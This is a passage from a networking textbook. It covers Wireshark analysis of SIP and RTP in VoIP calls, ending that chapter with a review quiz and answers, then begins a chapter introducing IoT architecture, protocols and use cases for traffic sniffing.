5. SIP  headers:  You  can  enable display  raw  text  for  SIP

message so that you do not have to expand every SIP header

or SDP parameter, as shown in the Figure 9.11.  You  can  also

right-click on any parameter and select “Prepare a Filter” to

filter packets based on that parameter.
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Figure 9.11: Display raw test for SIP message

6. SIP INVITE: An SIP INVITE request is a message that initiates

a VoIP session by inviting another party to join the session. An

SIP  INVITE  request  is  composed  of  two  parts: SIP  headers

and SDP. SIP headers contain information such as:

From: URI of the caller

To: Destination of the call

Contact: Address for the subsequent request

Call-ID: Unique identifier of the call

Content-Type:  Indicates  the  type  of  content  in  the message body (e.g., application/sdp)

Refer to Figure 9.12:
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Figure 9.12: SIP header

Message  body:  This  contains  the  SDP  that  describes  the media characteristics of the session, such as:

v=: This shows the SDP version (0).

o=:  This  shows  the  originator  of  the  session,  including  a username (-), a session ID (2890844526), a session version (2890844526), a network type (IN), an address type (IP4), and an address (192.168.0.1).

s=: This shows the session name (-).

c=:  This  shows  the  connection  information,  including  a network  type  (IN),  an  address  type  (IP4),  and  an  address (192.168.0.1).

t=:  This  shows  the  time  information,  including  a  start  time (0)  and  an  end  time  (0),  which  means  that  the  session  is active at any time.

m=: This shows a media description, including a media type (audio),  a  port  number  (8000),  a  transport  protocol

(RTP/AVP), and a list of media formats (123, 8, 0, 101).

Refer to Figure 9.13:
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Figure 9.13: SDP

In conclusion, capturing VoIP traffic in Wireshark is a simple process that involves selecting the network interface, starting the packet capture process, filtering the packets, analyzing the VOIP traffic, and saving the packet capture for future reference.

 

Analysing RTP Streams in VoIP Traffic

RTP is a protocol that carries audio and video data in VoIP sessions. RTP streams are usually associated with SIP calls, which are used to initiate and terminate VoIP sessions. Analyzing RTP streams in VoIP traffic can help troubleshoot common issues and problems related to quality, such as packet loss, jitter, delay, codec mismatch, etc.

Wireshark is a free and open-source tool that can capture and analyse various protocols, including RTP and SIP. Wireshark has built-in features and statistics to analyse RTP streams in VoIP traffic, such as:

RTP  Stream  Analysis  window:  This  window  shows  the details  of  each  RTP  stream,  such  as  the  source  and destination  IP  addresses  and  ports,  the Synchronization Source  Identifier  (SSRC),  the  payload  type,  the  maximum delta  time,  the  maximum  jitter,  the  mean  jitter,  the  packet

loss percentage, etc. You can also export the RTP stream data as a CSV file or save the payload as an audio file.

RTP player: This tool allows you to listen to the audio of each RTP stream. You can also adjust the playback speed, the jitter buffer  size,  the  silence  threshold,  etc.  You  can  also  save  the audio as a WAV file or export it as a raw file.

RTP stream graphs: These graphs allow you to plot various metrics of each RTP stream, such as the jitter, the delta time, the  clock  skew,  etc.  You  can  also  zoom  in  and  out  of  the graphs and export them as PNG files.

To analyze RTP streams in VoIP traffic using Wireshark, you can follow the given steps:

1. Capture  the  VoIP  traffic:  The  first  step  is  to  capture  the

VoIP  traffic.  To  do  this,  you  need  to  start  a  capture  in

Wireshark  on  the  network  interface  that  the  VoIP  traffic  is

flowing  through.  Make  sure  that  you  have  the  necessary

permissions to capture traffic on the network interface.

2. Filter  the  RTP  packets  by  using  the  filter  expression

“rtp”: This step is necessary to isolate the RTP packets from

other  protocols  in  the  capture  file.  You  can  type  “rtp”  in  the

filter  box  at  the  top  of  Wireshark  and  press Enter  or  click  on

“Apply”.  This  will  show  you  only  the  RTP  packets  related  to

the call, as shown in Figure 9.14:
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Figure 9.14: RTP filtered packets

3. Go to “Telephony | RTP | RTP Streams” to see the list of

RTP streams in the captured traffic: This step is useful to

see  an  overview  of  all  RTP  streams  in  the  captured  packets,

such as the source and destination IP addresses and ports, the

SSRC,  the  payload  type,  the  packet  count,  etc.  You  can  also

see  some  statistics  such  as  the  maximum  delta  time,  the

minimum delta time, the mean delta time, the minimum jitter,

etc, as can be seen in the Figure 9.15:

Src  IP  addr  /  port  /  SSRC  /  Payload  /  Max  Delta  /  Max  Jitter  /

Mean Jitter / Problems:

192.168.0.1 / 8000 / 0x00000000 / PCMU (0) / 40 ms / 7 ms /

3 ms / None
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Figure 9.15: RTP streams

4. Select  one  or  more  streams  and  click  on  “Analyze”,

“Player” to access the different tools and statistics for

analysing  RTP  streams:  This  step  allows  you  to  use

different features of Wireshark to analyse RTP streams in more

depth.  You  can  select  one  or  more  streams  by  clicking  on

them and then click on one of these buttons:

a) Analyze:  This  will  open  a  new  window  called RTP

Stream Analysis, as shown in Figure 9.16, which shows more  details  and  statistics  of  each  selected  stream,  such as  the  packet  number,  the  sequence  number,  the  delta time, the jitter, the skew, the bandwidth, etc. You can also export the stream data as a CSV file or save the payload as an audio file.
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Figure 9.16: RTP stream analysis

 

b) Play streams: This will open a new window called RTP

Player, as can be seen in Figure 9.17, which allows you to listen  to  the  audio  of  each  selected  stream.  You  can  also adjust  the  playback  speed,  the  jitter  buffer  size,  the silence  threshold,  etc.  You  can  also  save  the  audio  as  a WAV file or export it as a raw file.
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Figure 9.17: RTP player

By using these steps, you can analyse RTP streams in VoIP traffic using Wireshark and identify and diagnose common issues and problems in VoIP sessions.

 

Challenges/limitations in analyzing VoIP calls through

Wireshark

Analyzing VoIP calls with Wireshark is not always easy or straightforward. There are some challenges and limitations that users may encounter, such as:

1. Encrypted Communication: Modern VoIP systems often use

encryption to secure conversations. While this is essential for

privacy  and  security,  it  poses  a  significant  challenge  for

analysts.  Wireshark  cannot  decrypt  encrypted  VoIP  traffic,

making it difficult to interpret the content of the calls.

2. Jitter and Latency: VoIP call quality is heavily influenced by

jitter (variation in packet arrival times) and latency (delays in

packet  delivery).  Wireshark  can  identify  these  issues  but

pinpointing  their  exact  cause  within  the  network  requires

additional tools and expertise.

3. Packet  Loss: Packet  loss,  where  data  packets  do  not  reach

their  destination,  is  common  in  VoIP  calls,  affecting  call

quality.  Wireshark  can  detect  packet  loss,  but  identifying  the

specific  reasons,  such  as  network  congestion  or  hardware

failures, can be complex.

4. Complex  Protocols: VoIP  calls  often  use  a  variety  of

protocols  like Session  Initiation  Protocol  (SIP)  and Real-

Time  Transport Protocol  (RTP).  Analyzing  these  complex

protocols  demands  a  deep  understanding  of  their  intricacies,

making it challenging for less experienced analysts.

5. Network  Congestion: High  network  traffic  can  cause

congestion,  leading  to  dropped  packets  and  degraded  call

quality.  Wireshark  can  highlight  these  issues,  but

differentiating  between  VoIP-related  congestion  and  other

types of network congestion can be challenging.

6. Diverse  Devices  and  Codecs: VoIP  calls  occur  across  a

myriad  of  devices  and  codecs,  each  with  its  own  set  of  rules

and protocols. Wireshark needs to interpret these varied data

formats  accurately,  a  task  complicated  by  the  continuous

evolution of new technologies and standards.

7. Limited  Context: Wireshark  provides  detailed  packet-level

information,  but  it  lacks  the  context  of  the  user  experience.

Understanding user perception of call quality (which may not

always  align  with  technical  metrics)  requires  additional  data

and user feedback.

8. Legal  and  Ethical  Constraints: Analyzing  VoIP  calls  raises

legal  and  ethical  concerns,  especially  in  terms  of  privacy.  It’s

crucial to adhere to legal requirements and ethical standards

when intercepting and analyzing VoIP traffic, adding an extra

layer of complexity to the process.

9. Resource  Intensive: Analyzing  VoIP  calls  in  real-time

demands  significant  computational  resources.  Large  volumes

of data need to be captured, stored, and processed, requiring

powerful hardware configurations and storage capabilities.

10. Constantly  Evolving  Technology: VoIP  technology  and

associated  protocols  are  continuously  evolving.  Staying

abreast  of  these  changes  and  ensuring  Wireshark  is  updated

to  support  new  standards  is  a  perpetual  challenge  for

analysts.

These are some of the challenges and limitations that users may face when analyzing VoIP calls through Wireshark. However, these challenges and limitations do not diminish the usefulness and value of Wireshark as a tool for VoIP analysis. The user just needs to be aware of the challenges and limitations of Wireshark for VoIP analysis, and use it in conjunction with other tools and methods to get a comprehensive and accurate picture of their VoIP calls.

 

Conclusion

In conclusion, this chapter has provided a comprehensive overview of analyzing VoIP calls using Wireshark. We started by understanding the architecture of VoIP traffic, recognizing the various components and network elements involved in facilitating voice calls over IP networks. With this foundational knowledge, we delved into the protocols that support VoIP communications, with a focus on SIP, RTP, and other important protocols.

One of the key aspects of analyzing VoIP calls is the ability to capture and examine the network packets carrying voice data. We discussed the techniques and considerations for sniffing VoIP traffic using Wireshark, emphasizing the importance of proper packet capture methods and filtering techniques to isolate relevant VoIP packets. By mastering these skills, analysts can effectively troubleshoot issues and gather valuable insights from VoIP traffic captures.

Analyzing VoIP calls using Wireshark opens up a world of possibilities for network administrators, VoIP engineers, and security professionals. It enables them to gain deep visibility into the intricacies of VoIP traffic, identify performance bottlenecks, detect security threats, and ensure the overall reliability and quality of voice communications.

As technology continues to advance, VoIP remains a crucial and ever-growing part of modern communication systems. By understanding how to effectively analyze VoIP calls using Wireshark, professionals are equipped with the tools and knowledge to tackle the challenges and complexities that arise in this dynamic field.

In conclusion, the insights gained from this chapter will enable readers to confidently analyze VoIP traffic using Wireshark, and contribute to the optimization and troubleshooting of VoIP systems. With a solid understanding of VoIP traffic architecture, supported protocols, sniffing techniques, and RTP stream analysis, readers are well-equipped to navigate the world of VoIP calls with precision and expertise.

 

Questions

1. What  is  the  main  protocol  used  to  initiate  and

terminate VoIP sessions?

a) RTP

b) SIP

c) SRTP

d) H.323

2. What  is  the  main  protocol  used  to  carry  audio  and

video data in VoIP sessions?

a) RTP

b) SIP

c) SRTP

d) H.323

3. What is the main difference between RTP and SRTP?

a) RTP is reliable, SRTP is not.

b) RTP is encrypted, SRTP is not.

c) RTP is unencrypted, SRTP is encrypted.

d) RTP is uncompressed, SRTP is compressed.

4. What  is  the  main  purpose  of  using  a  codec  in  a  VoIP

system?

a) To compress and decompress audio and video data.

b) To encrypt and decrypt audio and video data.

c) To synchronize and sequence audio and video data.

d) To authenticate and authorize audio and video data.

5. What is the main function of a proxy in a VoIP system?

a) To connect VoIP endpoints to the internet.

b) To convert VoIP traffic to PSTN traffic and vice versa.

c)  To  handle  VoIP  traffic  between  different  networks  and

domains.

d) To register and authenticate VoIP endpoints and users.

6. What  is  the  main  function  of  a  registrar  in  a  VoIP

system?

a) To connect VoIP endpoints to the internet.

b) To convert VoIP traffic to PSTN traffic and vice versa.

c)  To  handle  VoIP  traffic  between  different  networks  and

domains.

d) To register and authenticate VoIP endpoints and users.

7. What  is  the  main  advantage  of  using  Wireshark  to

capture VoIP traffic?

a)  Wireshark  can  capture  VoIP  traffic  on  any  network

interface and device.

b) Wireshark can filter VoIP traffic by protocol, port, address,

and message type.

c)  Wireshark  can  analyse  RTP  streams  in  VoIP  traffic  and

play them as audio.

d) All of the above.

8. What  is  the  main  disadvantage  of  using  Wireshark  to

capture VoIP traffic?

a)  Wireshark  can  only  capture  VoIP  traffic  on  wired

networks, not wireless networks.

b) Wireshark can only capture VoIP traffic on local networks,

not remote networks.

c) Wireshark can only capture unencrypted VoIP traffic, not

encrypted VoIP traffic.

d) All of the above.

9. What  is  the  main  tool  in  Wireshark  to  view  the  SIP

messages and RTP packets involved in a VoIP session?

a) The RTP Stream Analysis window.

b) The RTP Player.

c) The RTP Stream Graphs.

d) The Telephony menu.

10. What  are  some  of  the  common  issues  and  problems

that  can  affect  the  quality  and  performance  of  RTP

streams in VoIP traffic?

a) Packet loss, jitter, delay, and codec mismatch.

b)  Packet  duplication,  reordering,  fragmentation,  and

compression.

c)  Packet  encryption,  authentication,  integrity,  and

confidentiality.

d) All of the above.

 

Answers

1. b

2. a

3. c

4. a

5. c

6. d

7. d

8. c

9. d

10. a
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CHAPTER 10

 

Analyzing Traffic of IoT

Devices

 

Introduction

The Internet of Things (IoT) is a transformative technology that connects everyday objects to the internet, enabling them to collect, exchange, and process data. IoT devices, ranging from smart thermostats and wearable fitness trackers to industrial sensors, empower seamless communication, automation, and data-driven decision-making across various industries.

IoT devices pose many challenges and risks to security, privacy, and reliability. IoT devices are often vulnerable to attacks, such as eavesdropping, spoofing, tampering, denial of service, or malware infection. IoT devices may also leak sensitive or personal information, such as location, activity, preferences, or health status. IoT devices may also malfunction or behave unpredictably due to software bugs, hardware failures, or network issues.

Therefore, it is important to capture and analyze the traffic (data packets) of IoT devices. We can gain insights into the communication patterns and protocols used by these devices by sniffing and analyzing the traffic of IoT devices. They can also detect and prevent potential threats or anomalies that may affect the performance or security of these devices.

In this chapter, we will introduce the concept and characteristics of IoT devices and their communication protocols. We will also discuss some use cases for network sniffing of IoT devices in different scenarios. We will then demonstrate the working of tools and techniques used for sniffing and analyzing the traffic from IOT devices using Wireshark, a popular network analysis tool. We will also show some examples of how to interpret and visualize the traffic data of IoT devices using Wireshark. By the end of this chapter, you will be able to capture and analyze the traffic of IoT devices using Wireshark and understand the benefits and challenges of doing so.

 

Structure

In this chapter, we will discuss the following topics:

Introduction to IoT devices

IoT devices: Use cases for network sniffing

Sniffing traffic of IoT devices

Analyzing traffic of IoT devices

 

Objectives

The objective of this chapter is to provide an overview of the concept and characteristics of IoT devices and their communication protocols. It also aims to demonstrate some use cases for network sniffing of IoT devices in different domains and scenarios. Moreover, it intends to teach the readers how to use Wireshark, a network analysis tool, to capture and analyze the traffic of IoT devices.

Furthermore, it seeks to help the readers understand how to interpret and visualize the traffic data of IoT devices using Wireshark. Finally, it hopes to enable the readers to appreciate the benefits and challenges of sniffing and analyzing the traffic of IoT devices for security, privacy, and reliability purposes.

 

Introduction to IoT

IoT has emerged as a transformative technology that connects the physical world to the digital world, enabling devices to communicate, collect and exchange data, and perform intelligent actions. IoT devices, also known as smart devices or connected devices, are at the core of this revolutionary concept.

 

What are IoT devices

IoT devices are physical objects embedded with sensors, software, and network connectivity that allow them to interact with their environment and other devices. These devices can range from simple everyday objects like thermostats, light bulbs, and door locks to more complex systems like industrial machinery, vehicles, and healthcare monitors. They are designed to sense, process, and transmit data to Cloud-based storage or other devices for analysis and action.

The key feature of IoT devices is their ability to connect to the Internet, enabling them to communicate with each other and users. They use various communication technologies such as Wi-Fi, Bluetooth, cellular networks, and satellite connections to establish connectivity. This connectivity allows IoT devices to be remotely controlled, monitored, and managed, bringing convenience, automation, and efficiency to various aspects of our lives.

IoT devices rely on sensors to gather data about their surroundings. These sensors can detect temperature, humidity, light, motion, pressure, and more. They convert this physical information into digital data, which is then processed and analyzed locally or in the Cloud. IoT devices can also include actuators, which enable them to perform actions based on the data they receive. For example, a smart thermostat can adjust the temperature of a room based on the input it receives from temperature sensors.

The data collected by IoT devices can have significant value in various applications. In smart homes, IoT devices can automate tasks like controlling lighting, monitoring energy usage, or managing home security systems. In industries, IoT devices can optimize manufacturing processes, track inventory, or monitor equipment performance to increase efficiency and productivity. In healthcare, IoT devices can monitor patient vital signs, enable remote patient monitoring, or even assist in surgical procedures.

However, the widespread adoption of IoT devices raises concerns about privacy, security, and data management. As these devices gather and transmit sensitive data, it is crucial to implement robust security measures to protect against unauthorized access and potential breaches.

 

Major components of the IoT ecosystem

An IoT ecosystem is a network of interconnected devices, systems, and platforms that enable data collection, transmission, processing, and action using the Internet or other networks. An IoT ecosystem can have various components depending on the type and purpose of the IoT system, but some of the major components are:

Sensors  and  actuators:  These  devices  can  sense, measure,  or  control  physical  parameters,  such  as temperature,  humidity,  motion,  light,  etc.  They  can  also generate,  process,  and  transmit  data  to  the  next component. Sensors and actuators bridge the gap between the physical and digital worlds.

Connectivity: This component enables communication and data  transfer  between  the  sensors,  actuators  and  other components  of  the  IoT  ecosystem.  It  can  use  different technologies  and  protocols,  such  as  Ethernet,  Wi-Fi, Bluetooth,  cellular,  RFID,  NFC,  MQTT,  etc.  It  can  also  use gateways  or  edge  devices  to  collect  and  transmit  data  to the next component.

Data processing: This component stores and analyzes the data  collected  by  the  sensors  and  actuators.  It  can  use Cloud  computing  environments  or  servers  to  provide  data management,  processing,  visualization,  and  analytics.  It can  also  provide  interfaces  and  applications  for  users  to access and interact with IoT data and devices.

Data action: This component triggers actions or responses based  on  the  data  analysis  or  instructions.  These  actions can be performed by the sensors and actuators themselves, such as adjusting the temperature, lighting, or security of a home,  or  by  other  systems  or  users,  such  as  sending  an alert, notification, or recommendation.

User  interface:  This  component  allows  user  to  interact with  the  IoT  ecosystem.  It  can  be  a  web-based  or  mobile-based  application  that  provides  information,  control, feedback, or customization options for users. It can also be a  voice-based  or  gesture-based  interface  that  enables natural interaction with IoT devices.

Security:  This  component  ensures  the  protection  and privacy  of  the  IoT  data  and  devices.  It  can  use  different methods  and  technologies  to  prevent  unauthorized  access, modification,  or  disclosure  of  data  through  cryptographic techniques;  to  authenticate  and  authorize  users  and devices; and to comply with regulations and standards.

 

IoT architecture

IoT architecture refers to a way of organizing the different parts of an IoT system and how they work together. An IoT system is a system that connects different things, such as devices, machines, or objects, to the internet and allows them to communicate and exchange data. The data can be used to provide useful information or services to the users or to improve the performance of the system.

An IoT architecture has six layers, which are:
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Figure 10.1: IoT architecture layers

Let us discuss each layer in detail:

Perception layer

The perception layer is the part of an IoT system architecture that interacts with the physical world. It has various components, such as sensors, cameras, actuators, and other devices that collect data and perform actions. For instance, an IoT sensor can help with quality control on a car production line. It can check if a robot has assembled a fuse box correctly by looking at the colors of the different fuses. If the robot has put the fuse in the wrong slot, the sensor can detect that and alert the system.

Transport layer

In an IoT system architecture, the transport layer plays a crucial role in facilitating the transmission of data from multiple devices, such as sensors, cameras, and actuators, to a centralized data center located either on-premise or in the Cloud. To achieve this, IoT gateways are used to convert the incoming analog data from the devices into a digital format. Once the data is digitized, the gateway utilizes various data transfer protocols (DTPs) to transmit the data to the data center.

The choice of the appropriate data transfer protocol depends on several significant factors. These factors include the amount and type of data that needs to be sent, the desired speed and interval of transmission, the reliability of the network connection, the power consumption during data transmission, the requirements for data and network security, and the need for communication among edge devices within the IoT system.

There are several diverse and widely used IoT protocols available for data transfer. Some of these protocols include:

Message Queue Telemetry Transport  (MQTT):

Originally designed by IBM, MQTT is a lightweight protocol that employs publish/subscribe interaction schemes. In the Message  Queuing  Telemetry  Transport   (MQTT) protocol,  the  publish/subscribe  interaction  model  is  a fundamental  communication  pattern.  It  is  a  messaging pattern  that  allows  clients  to  exchange  messages  through the  use  of  topics.  It  has  become  the  most  widely  used protocol  in  the  IoT  domain  due  to  its  open-source  nature and  its  suitability  for  devices  located  in  remote  areas  with limited internet connectivity.

Modbus:  Modbus  is  a  data  communications  protocol initially  designed  with programmable  logic  controllers (PLCs)  manufactured  by  Modicon  (now  Schneider Electric). It is often used to connect a supervisory computer to remote  terminal  units  (RTUs)  in  IoT  systems, following the Supervisory Control And Data Acquisition (SCADA) model.

Advanced  Message  Queuing  Protocol  (AMQP):  AMQP was primarily developed by JPMorgan Chase for transmitting  data  within  the  financial  services  sector.  It  is known  for  its  in-built  security  framework  that  utilizes components  like  Transport  Layer  Security (TLS)  and Simple Authentication And Security Layer (SASL).

Process  Field  Network  (PROFINET):  PROFINET  is  an Ethernet-compatible  protocol  developed  and  supported  by PROFIBUS  and  PROFINET  International  (PI),  an automation  community-based  in  Germany.  It  has  gained widespread  adoption  in  industrial  automation  systems  that require  communication  among  multiple  edge  devices, machinery, and software systems.

Controller  Area  Network  bus  (CAN):  Initially  designed by  Bosch  for  the  automotive  industry,  CAN  bus  enables direct  communication  between  different  devices  and sensors  within  a  vehicle,  bypassing  the  need  for  an intermediary  computer.  It  has  been  adapted  for  various two-way  device  communication  applications,  including maritime  vessels,  construction  equipment,  lighting  control systems, elevator and escalator controls, among others.

Ethernet    for    Control    Automation    Technology (EtherCAT):  EtherCAT  is  an  Ethernet-based  protocol designed  for  systems  requiring  real-time  updating  of  data, developed  by  Beckhoff,  a  German  industrial  automation company. It is widely used as an IoT gateway protocol and is supported by the EtherCAT  Technology  Group (ETG), an  industrial  collective  with  thousands  of  member organizations.

In addition to these protocols, there are several other data transfer protocols (DTPs) available, such as Constrained Application Protocol (CoAP) and Data Distribution Service (DDS). These protocols are extensively used in industrial and non-industrial IoT applications, including domestic lighting, security systems, and smart healthcare devices.

Edge layer

As the scale of IoT networks expands, latency becomes a significant performance challenge due to the congestion caused by numerous devices connecting to a central hub. To address this issue, edge computing is employed at the edge layer of an IoT system architecture, allowing data processing and analysis to occur as close to the data source as possible.

One key characteristic shared by all IoT edge devices is their ability to transmit the data they detect, in the form of data packets, to nodes for further processing. Some advanced edge devices are even programmed to take action, such as stopping a particular process or initiating damage control measures, when they detect a severe anomaly.

IoT edge devices are typically designed to work seamlessly with devices from different manufacturers. This interoperability is crucial for the widespread adoption of edge devices in large-scale IoT systems.

Data pre-processing is a rapidly growing feature of IoT systems that offers several benefits. It enables the quick detection and resolution of problems while reducing the cost associated with transmitting large volumes of data. However, there are some drawbacks to consider. The use of sophisticated processors for data pre-processing can increase the installation and maintenance costs of the network layer. Additionally, there is a potential risk of compromising remote data security. Moreover, there is a possibility of filtering out valuable insights from IoT device data before it can undergo further processing.

Pros and cons: Data pre-processing at IoT gateways

Here are the advantages and disadvantages of incorporating data pre-processing at the network level in IoT gateways. The advantages are as follows:

Rapid generation of valuable insights

Reduced expenses related to data transmission

Ability to address local issues promptly

The disadvantages are as follows:

High cost associated with edge processors

Concerns about the security of remote data

Potential loss of valuable data insights

 

Processing layer The processing layer, also known as the middleware layer, is a crucial element of an IoT system architecture. It utilizes Cloud computing and multiple connected computers to enhance performance in terms of computation, storage, networking, and security.

Within the IoT system architecture, the processing layer is vital for analyzing input data to generate valuable insights, predictions, and timely warnings. Since an IoT system deals with vast amounts of data generated by numerous edge devices located at different network edges, the middleware in the processing layer uses a three-step process to prepare this data for the application layer, explained as follows:

1. Data  accumulation: In  this  stage,  the  middleware

accurately  identifies  and  assigns  various  data  types  to

appropriate storage. Unstructured data like audio and video

streams  and  images  typically  require  more  storage  space

and  are  stored  in  data  lakes.  A  data  lake  is  a  centralized

repository  that  allows  you  to  store  vast  amounts  of

structured  and  unstructured  data  at  any  scale.  On  the

contrary,  structured  data  such  as  measurements,  records,

and  signals  are  more  compact  and  stored  in  data

repositories.

2. Data  abstraction:  This  stage  involves  aggregating  data

from  multiple  sources  and  ensuring  that  the  data  is

converted  into  a  format  that  can  be  understood  by  the

software  in  the  application  layer.  Data  abstraction  helps  to

standardize  the  data  and  make  it  compatible  with  the

software's requirements.

3. Data  analysis:  In  this  stage, machine  learning  (ML)  or

deep  learning  algorithms  are  applied  to  the  accumulated

and  abstracted  data.  These  algorithms  are  specifically

designed  to  identify  patterns  within  large  and  seemingly

random  datasets.  By  analyzing  the  data,  the  processing

layer  can  extract  meaningful  information,  identify  trends,

and  make  predictions  that  contribute  to  the  overall

functionality and intelligence of the IoT system.

Application layer

The application layer in an IoT system architecture plays a crucial role in decoding meaningful patterns within the vast amounts of data generated by IoT devices. It involves analyzing this data and transforming it into concise and understandable summaries, such as graphs and tables, that can be easily interpreted by humans. The application layer also encompasses the development of programs and software for device control, monitoring, and process control. These applications enable efficient management and operation of IoT devices, ensuring smooth functionality and effective utilization of IoT technology within various industries.

Business layer

The Business layer in an IoT system architecture refers to the stage where patterns identified at the application level are analyzed and utilized to extract valuable business insights. These insights can then be leveraged to predict future trends and make informed operational decisions that enhance various aspects of business functionality, such as efficiency, safety, cost-effectiveness, and customer experience. All of these advantageous outcomes can be achieved by focusing on the Business layer within the IoT system architecture. Here are key aspects of the Business layer in IoT:

Data  utilization:  The  Business  layer  is  responsible  for defining how the data collected from IoT devices is utilized to  achieve  specific  business  objectives.  This  includes determining what data is relevant, how it is processed, and what insights or actions can be derived from it.

Business rules and logic:  It  defines  the  rules,  logic,  and algorithms  used  to  process  IoT  data.  For  example,  it  may specify  thresholds  for  triggering  alerts,  automation  rules for IoT devices, or predictive maintenance algorithms.

Integration:  IoT  solutions  often  need  to  integrate  with existing  business  systems,  such  as enterprise  resource planning   (ERP) software, customer  relationship management   (CRM) systems,    or    supply    chain

management  tools.  The  Business  layer  handles  these integrations to ensure seamless operations.

Security  and  compliance:  Ensuring  data  privacy, security,  and  regulatory  compliance  is  a  key  responsibility of  the  business  layer.  It  establishes  access  control, encryption,  and  compliance  with  relevant  industry standards and regulations.

 

Security layer

The security layer within an IoT system architecture is an essential component that addresses the critical need for safeguarding IoT devices and data. Interestingly, while security is of utmost importance, it poses significant challenges to IoT architecture and the devices themselves. The security layer can be broadly categorized into three key aspects:

Equipment  security:  This  aspect  involves  securing  the physical    IoT    devices    themselves.    It    focuses    on implementing  measures  to  protect  these  endpoints  from malware  attacks  and  unauthorized  access.  Robust  security protocols  and  mechanisms  are  employed  to  ensure  the integrity, confidentiality, and availability of IoT devices.

Cloud  security: Given  that  a  substantial  amount  of  IoT data  is  processed  and  stored  in  the  Cloud,  it  is  crucial  to prioritize  Cloud  security.  This  entails  implementing  robust security  measures  to  prevent  data  leaks,  unauthorized access,  and  breaches  of  sensitive  information.  Encryption, access  controls,  and Endpoint  Detection  and  Response (EDR)  are  commonly  employed  to  enhance  cloud  security within the IoT system architecture.

Connection  security: The  connection  security  aspect  of the  IoT  security  layer  emphasizes  the  protection  of  data transmitted  across  networks.  This  is  primarily  achieved through encryption techniques to ensure the confidentiality and  integrity  of  the  data  in  transit.  The Transport  Layer Security  (TLS)  protocol  is  widely  regarded  as  the benchmark  for  securing  IoT  connections.  It  is  commonly

used  to  establish  secure  communication  channels  between IoT devices and other components.

By incorporating these three aspects within the security layer of an IoT system architecture, organizations can mitigate the risks associated with IoT deployments, enhance the overall security posture, and protect the privacy and integrity of IoT devices and data.

 

How IoT works

The basic working of IoT can be explained by the following steps:

Data collection:  IoT  devices  have  sensors  or  devices  that can  sense,  measure,  or  control  physical  parameters,  such as temperature, humidity, motion, light, etc. They can also generate, process, and transmit data to the next step.

Data transmission: IoT devices use different technologies and protocols to connect and communicate with each other and  with  the  internet  or  other  networks.  They  can  use wired  or  wireless  connections,  such  as  Ethernet,  Wi-Fi, Bluetooth,  cellular,  RFID,  NFC,  MQTT,  etc.  They  can  also use  gateways  or  edge  devices  to  collect  and  transmit  data to the next step.

Data processing: IoT data is stored and analyzed in Cloud computing  environments  or  servers.  They  use  different platforms  and  services  for  data  management,  processing, visualization,  and  analytics.  They  can  also  provide interfaces and applications for users to access and interact with the IoT data and devices.

Data  action:  IoT  data  can  trigger  actions  or  responses based on the analysis or instructions. These actions can be performed  by  the  IoT  devices,  such  as  adjusting  the temperature,  lighting,  or  security  of  a  home,  or  by  other systems  or  users,  such  as  sending  an  alert,  notification,  or recommendation.

The working or architecture of IoT can vary depending on the type and purpose of the IoT system. For example, consumer IoT refers to personal and wearable devices that connect to the internet; industrial IoT refers to interconnected devices in the industrial sector; and smart cities refer to IoT systems that improve urban services. However, the key concept of their work is similar: they use IoT devices to collect and transmit data from the physical world to the digital world and vice versa.

 

Benefits of IoT

IoT devices can bring many benefits to individuals, businesses, and society. Some of the main benefits are:

Control and automation: IoT devices can enable users to control and automate various tasks and processes, such as adjusting  the  temperature,  lighting,  or  security  of  their homes, or scheduling the delivery of goods and services.

Real-time  access  to  information:  IoT  devices  can provide  users  with  real-time  data  and  insights  about  their environment,  health,  activities,  or  performance,  which  can help them make better decisions and improve their quality of life.

Emerging  businesses:  IoT  devices  can  create  new opportunities  for  innovation,  entrepreneurship,  and  value creation,  as  they  can  enable  new  products,  services, business models, and markets.

Advanced  data  collection:  IoT  devices  can  collect  large amounts  of  data  from  various  sources  and  contexts,  which can  be  analyzed  and  used  for  various  purposes,  such  as optimizing  operations,  enhancing  customer  experience, developing new solutions, or generating revenue.

Increased  productivity  and  efficiency:  IoT  devices  can help businesses improve their productivity and efficiency by automating  tasks,  reducing  errors,  saving  time,  increasing quality, and optimizing resources and assets.

Ease  of  communication:  IoT  devices  can  facilitate communication  and  collaboration  among  users,  devices,

systems, and organizations by using different protocols and standards to exchange data and information.

Cost-effective:  IoT  devices  can  help  users  save  money  by reducing  operational  costs,  energy  consumption,  waste generation, or maintenance expenses.

Smart cities: IoT devices can help create smart cities that are  more  liveable,  sustainable,  resilient,  and  inclusive,  by improving  urban  services  such  as  transportation,  energy, water, waste management, health care, education, or public safety.

Improved work safety: IoT devices can help improve work safety  by  monitoring  hazardous  environments,  detecting potential  threats  or  accidents,  alerting  workers  or authorities, or providing protective measures.

 

Limitations of IoT

IoT also has some limitations that we need to be aware of. Some of the limitations are:

Security and privacy: IoT devices collect and send a lot of data about us and our environment, which can be hacked or leaked by malicious actors. We also do not have full control over  how  our  data  is  used  or  shared  by  others  who  have access to it.

Dependence  and  reliability:  IoT  devices  depend  on  the internet and network connection, which can be unstable or unavailable  at  times.  If  the  system  fails  or  breaks  down,  it can  cause  problems  or  inconvenience  for  us  and  our devices.

Standardization  and  interoperability:  IoT  devices  use different technologies and standards, which can make them incompatible or difficult to work with each other. We need common  rules  and  regulations  to  ensure  the  quality  and consistency of IoT devices and services.

Complexity  and  maintenance:  IoT  devices  require  more resources  and  infrastructure  to  support  their  functioning

and  management.  The  more  devices  we  have,  the  more complicated  and  challenging  it  is  to  maintain,  update,  and integrate them.

 

IoT devices: Use cases for network sniffing

Here are the examples of IoT devices or scenarios where network sniffing can be helpful or informative:

Sensors:  Sensors  are  one  of  the  most  ancient  and widespread  types  of  IoT  devices,  used  by  both  people  and organizations.  They  can  measure  various  environmental factors,  such  as  temperature,  humidity,  light,  motion,  etc. Network  sniffing  can  help  monitor  the  sensor  data, troubleshoot  any  connectivity  issues,  or  detect  any anomalies or intrusions.

Smart home devices: Smart home devices are interactive electronics  that  use  wireless  connections  to  understand user  instructions  and  perform  various  tasks,  such  as adjusting  the  thermostat,  locking  the  door,  or  playing music.    Network    sniffing    can    help    analyze    the communication  protocols  and  data  formats  used  by  these devices, as well as assess their security and privacy risks.

Wearable  technologies:  Wearable  technologies  are  IoT devices  that  can  be  worn  on  the  body,  such  as smartwatches,  fitness  trackers,  or  earbuds.  They  can connect to other devices (like smartphones) or the internet to share data or access services. Network sniffing can help understand how these devices collect and transmit personal information,    such as health    metrics,    location,    or preferences.

